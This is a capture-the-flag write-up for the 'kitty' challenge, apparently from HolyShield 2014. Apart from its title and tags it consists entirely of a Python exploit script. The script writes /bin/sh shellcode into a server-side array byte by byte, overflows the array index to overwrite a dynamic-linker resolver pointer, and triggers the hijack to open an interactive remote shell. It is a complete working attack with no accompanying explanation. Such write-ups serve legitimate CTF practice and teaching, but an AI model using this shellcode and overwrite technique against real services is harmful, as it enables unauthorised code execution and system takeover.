[exploit] 홀리쉴드 2014 kitty writeups

===========================

kitty

tag : got overwrite, _dl_runtime_resolve

import socket import struct import telnetlib host = "192.168.1.22" port = 1120 s = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) s.connect( ( host, port ) ) raw_input( ' go > ' ) def until_recv( st ): buf = '' while st not in buf: buf += s.recv( 1024 ) return buf #### teach #### print until_recv( "select") s.send( '2\n' ) print until_recv( "yours:" ) s.send( '2222\n' ) print until_recv( "kitty:" ) s.send( '1111\n' ) ### talk ###- print until_recv( "select") s.send( '1\n' ) print until_recv( "yours:" ) shellcode = "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" s_list = [] for i in shellcode: s_list.append( struct.unpack( "B", i)[0] ) # make the shellcode in arr[] cnt = 0 for i in s_list: s.send( "a" * i + "\n" ) print until_recv( "yours:" ) # arr_index byte overflow for i in range( 0x80 -len(s_list) ): s.send( 'a\n' ) print until_recv( "yours:" ) cnt += 1 # dummy for i in range( 0x8 ): s.send( 'a'*0x61 + '\n' ) print until_recv( "yours:" ) # overwrite _dl_runtime_resolver as arr address( 0x804b080 ) for i in [0x80, 0xb0, 0x04, 0x08]: s.send( 'a' * i + '\n' ) print until_recv( "yours:" ) s.send( '2222\n' ) # triger with printf() - 0x8048b75 print ' sh #', try: t = telnetlib.Telnet() t.sock = s t.interact() except Exception as e: print e s.close()